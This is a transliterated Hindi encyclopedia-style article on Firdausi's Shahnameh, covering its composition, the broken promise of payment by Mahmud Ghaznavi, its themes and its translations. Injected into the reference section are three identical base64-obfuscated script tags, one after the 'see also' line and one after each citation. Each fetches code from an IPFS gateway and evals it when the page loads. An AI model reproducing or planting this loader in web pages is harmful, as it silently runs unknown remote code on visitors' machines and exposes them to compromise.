शाहनामा
shahanama
| |
| vivaran | shahanama ek mahagranth hai jisamean eeran ka itihas hi nahian, balki eerani asmita ki pahachan bhi hai. |
| rachanakar | firadausi |
| bhasha | farasi |
| rachanakal | 977 ee. se 1010 ee. ke madhy |
| vishesh | shahanama mean 60 hazar she'r haian. jinhean poora karane mean firadausi ko 30 varsh lage. |
| any janakari | firadausi ne 'shahanama' dvara 'rustam' aur 'soharab' jaise patr nirmit kie, jo manav-smriti ka hissa ban chuke haian. |
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shahanama (aangrezi: Shahnameh) ek mahagranth, jisaki rachana firadausi ne ki thi. yah granth farasi bhasha mean likha gaya hai, jisamean eeran par arabi fatah (san 636) ke poorv ke shasakoan ka charit likha gaya hai. shahanama ko firadausi ne tis varsh ki b di mehanat ke bad poorn kiya tha. firadausi ki yah rachana eeran ka itihas hi nahian, balki eerani asmita ki pahachan bhi hai.
rachana kal
'shahanama' khurasan ke shahazade samanid ke lie likha gaya tha. yah vah samay tha, jab satavian shatabdi mean araboan ki eeran par vijay ke bad farasi bhasha aur sanskriti par arab prabhutv dikhaee p dane laga tha. firadausi ke jivanakal mean hi unake sanrakshak shahazade samanid ko sultan mahamood gazanavi ne hara diya tha aur vah svayan khurasan ka shasak ban gaya tha.[1]
aitihasik prasang
mana jata hai ki firadausi ko mahamood gazanavi ne yah vachan diya tha ki vah 'shahanama' ke har shabd ke lie use ek dinar dega. jab kee varshoan ke k de parishram ke bad 'shahanama' taiyar hua, tab firadausi use lekar mahamood ke darabar mean gaya. tab mahamood ne use pratyek shabd ke lie ek dinar nahian, balki ek diraham ka bhugatan kiya. is par naraj hokar firadausi laut gaya aur usane ek diraham bhi nahian liya. yah vayada khilafi kuchh aisi thi, jaise kisi kavi ke prati shabd ek rupaye dene ka vachan dekar prati shabd ek paisa diya jaye. firadausi ne gusse mean akar mahamood gazanabi ke viruddh kuchh panktiyaan likhian. ye panktiyaan itani prabhavashali siddh hueean ki poore samrajy mean phail gayian. kuchh varsh bad mahamood se usake vishvasapatr mantriyoan ne nivedan kiya ki firadausi ko usi dar par bhugatan kar diya jaye, jo shahanama ki rachana se poorv tay hua tha. samrat ke karan poochhane par pradhanamantri ne kaha ki ham log samrajy ke jis kone mean jate haian, hamean ve panktiyaan sunane ko milati haian, jo firadausi ne apake viruddh likhi haian. use nirdharit dar par paisa de diya jayega to hamean b da naitik bal milega. mahamood ne adesh de diya. dinaroan se bhari ga di jab firadausi ke ghar pahuanchi to ghar ke aandar se firadausi ka janaza nikal raha tha. poori umr garibi, tangi aur mufalisi mean katane ke bad firadausi mar chuka tha. aisa bhi kaha jata hai ki firadausi ki ekamatr santan usaki l daki ne bhi yah dhan lene se iankar kar diya. is tarah mahamood gazanavi kavi ka karjadar raha. shayad yahi karan hai ki aj firadausi ka shahanama jitana prasiddh hai, utani hi ya usase adhik prasiddh ve panktiyaan haian, jo firadausi ne mahamood gazanabi ki alochana karate hue likhi thian.[1]
amar kriti
'shahanama' mean prem, vidroh, virata, dushtata, manaviyata, yuddh, sahas ke aise utkrisht udaharan haian, jinhoanne isako eerani sahity ki amar kriti bana diya hai. firadausi ne 'rustam' aur 'soharab' jaise patr nirmit kie, jo manav-smriti ka hissa ban chuke haian. eerani sahity mean 'shahanama' jitani bar chhapa hai, utana shayad hi koee granth chhapa ho.
n miram azin, pas ki man zindeam
ki tu़khme su़khn ra karakande am
apane is she'r mean firadausi kahate haian ki maian kabhi marooanga nahian, kyoanki maianne farasi shayari ke jo bij bikhere haian, ve duniya ke rahane tak lahalahate raheange aur maian unaki vajah se hamesha zianda rahooanga. beshak, firadausi ne apane she'r roopi shabd tahazib ki dharati par bikher die aur tab se shahanama ki shakl mean ve aj bhi firadausi ko zianda rakhe hue haian aur rahati duniya tak unake kalam ki raushani tahazib ki rahoan ko raushan karati rahegi. shahanama ke lie firadausi duniya bhar mean jane jate haian. unhoanne apani amar kalajayi kriti shahanama mean eeran ke un badashahoan ke bare mean likha hai, jinase vah mutasir rahe. shahanama mean 60 hazar she'r haian. ise poora karane mean unhean 30 sal lage. unhoanne 25 faravari, 1010 ko ise mukammal kiya. yah mahanh kriti unhoanne sultan mahamood gazanavi ko samarpit ki, jisane 999 mean khurasan par fatah hasil ki thi. 'shahanama' eeran ka itihas hi nahian, balki eerani asmita ki pahachan hai. is mahakavy ki tulana homar ke iliyad aur maharshi vedavyas ke mahabharat se ki ja sakati hai.[2]
hind p aauket buks dvara prakashit 'shahanama'
thumb|hind p aauket buks dvara prakashit 'shahanama' hind p aauket buks dvara prakashit kitab firadausi mean prastutakarta nasira sharma ne shahanama ki kee rachanaoan ko pesh kiya hai. isake sath hi unhoanne shahanama ki visheshataoan par bhi raushani dali hai. firadausi ko shahanama likhane ka khyal kyoan aya, is bare mean vah likhati haian- vah eeran ke prasiddh kavi dakiqi ka zikr karana nahian bhoolate haian, jinhoanne shahanama ko gashatasab nama ke nam se likhana shuroo kiya tha. magar apane hi gulam ke hathoan qatl ho jane ki vajah se yah kam adhoora chhoot gaya. usako jab firadausi ne padha, to us kam ko poora karane ka pran kiya. isake bad aboo mankhoor bin mohammad aur sultan mahamood ke prashansa gan ke bad vastav mean shahanama ki shuruat huee. isaki shuruat eeran ke pahale badashah kyoomars se hokar sasani daur ke patan par khatm hoti hai. isamean muhabbat, bagavat, bahaduri, jang, iansanit aur haivaniyat ke kee qisse milate haian. ise tinoan hissoan mean baanta ja sakata hai. pahala vah jo lok sahity par adharit hai, doosara vah jo kalpanik kathaoan par hai aur tisara vah jo eeran ka itihas hai. is mahakavy mean firadausi ko amar banane vali kalajayi rachanaean haian, jo bar-bar padhi aur gaee jati haian, masalan dastan-e-bizan v maniza, siyavush v sudabe, rudabe v jalazar, rustam v soharab, shataranj ki paidaish, shah baharam ke qisse, sikandar v qaid, jahaq v kaveh ahangar adi shamil haian. darasal, araboan ki satta ka dhvaj jab eeran par phaharane laga, to eerani buddhijiviyoan ke samane bhari sankat kh da hua ki akhir is videshi satta ke sath ve kaisa bartav karean. isi mudde par eerani buddhijivi varg do hissoan mean vibhajit ho gaya. ek varg vah tha, jo arabi bhasha ke badhate sarokar ko poornataya darabar, dharmik sthaloan aur janasamuday mean panapata dekh raha tha aur soch raha tha ki is tarah se eerani bhasha aur sahity ka koee nam leva nahian bachega. shayad eerani vichar ki bhi guanjaish baqi nahian bachegi aur arabi bhasha ke sath arab vichar bhi eerani dil aur dimag par chha jaeange. isalie zaroori hai ki bhasha ke jhag de mean n p dakar eerani soch ko jivit rakha jae. is varg ke eerani lekhak b di sankhya mean arabi bhasha mean utana lekhan kary karane lage aur darabar evan vibhinn sthaloan par mahatvapoorn pad pane lage. doosara varg poorn roop se arab satta se bezar tha. usaki taraf pith ghumakar apani bhasha sahity ko bachane aur sanjone ki tivr ichchha usamean machal uthi. satta ke virodh mean vah talavar lekar kh da to nahian ho sakata tha, magar vartaman ko nakarate hue bhavishy ke lie zaroor kuchh rach sakata tha. isi shreni ke buddhijiviyoan mean sabase pahala nam firadausi ka hai, jisamean unhoanne khud svikar kiya hai-
basi ranj mean burdam dar in sal si
ajam ziannda karadam bedin parasi
yani tis sal ki koshishoan se maianne yah mahakavy racha hai aur farasi ne ajam (gooanga) ko amar bana diya. yahaan ajam shabd ki vyakhya karana zaroori ho jata hai. arabi bhasha ka uchcharan chooanki halaq par zor dekar hota hai, to usaki dhvani mean ek tezi aur bharipan hota hai, jabaki farasi bhasha mean uchcharan karate hue zyadatar jibh ke bich ke hisse aur nok ka istemal hota hai, jisase shabd mulayam aur surili dhvani lie nikalate haian. itani maddhim dhvani sunane ki adat chooanki araboan ko nahian thi, isalie unhoanne upeksha bhav se eeraniyoan ko gooanga kahana shuroo kar diya tha.[2]
shahanama ka anuvad
shahanama ka kee bhashaoan mean anuvad ho chuka hai. sabase pahala anuvad arabi bhasha mean chhathi sadi mean hua tha. kavam uddin abul़phateh eesa bin ali ibne mohammad isaphahani ne yah anuvad ayoob al fateh eesabin mulk abdul aboobakar ke nam kiya tha. isake bad 914 hijari mean tatar ali tunadi ne sanpoorn shahanama ka anuvad turki bhasha mean kiya tha. turki bhasha gady mean anuvad ka kam mehandi sahib manasaban usman ke darabar mean poora hua. yah anuvad usman ko 1030 hijari mean bheant kiya gaya. kuchh sal bad 1043 hijari mean dara shikoh ke bete humayooan ke vaqt lahaur mean usake darabar ke tavakkul bak ne shamashir khaan ki faramaish par shahanama ke kuchh hissoan ka gady aur pady mean anuvad munartakhib ul tavari़kh nam se farasi mean kiya gaya. pashchimi deshoan mean shahanama ka anuvad sabase pahale landan mean 1774 mean dablyoo yons ne kiya, lekin poori kriti ka anuvad karane vale pahale svadeshi jozaf shamapyoon, jo kalakatta (ab kolakata) mean 1785 mean chhapa tha. isake bad ludolf, haigaramain, peris mean 1802 mean j aaun ohas aaun ke anuvad samane ae. eest iandiya kanpani ne 1811 mean shahanama ka anuvad phort viliyam k aaulej mean arabi farasi ke prophesar lumsaden se karaya. isake anuvadoan ki feharist khasi lanbi hai.[2]
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
- ↑ 1.0 1.1 kavi ka karza (hindi) rachanakar. abhigaman tithi: 06 agast, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 sharma, nasira. firadausi ka shahakar shahanama (hindi) chauthi duniya. abhigaman tithi: 2 faravari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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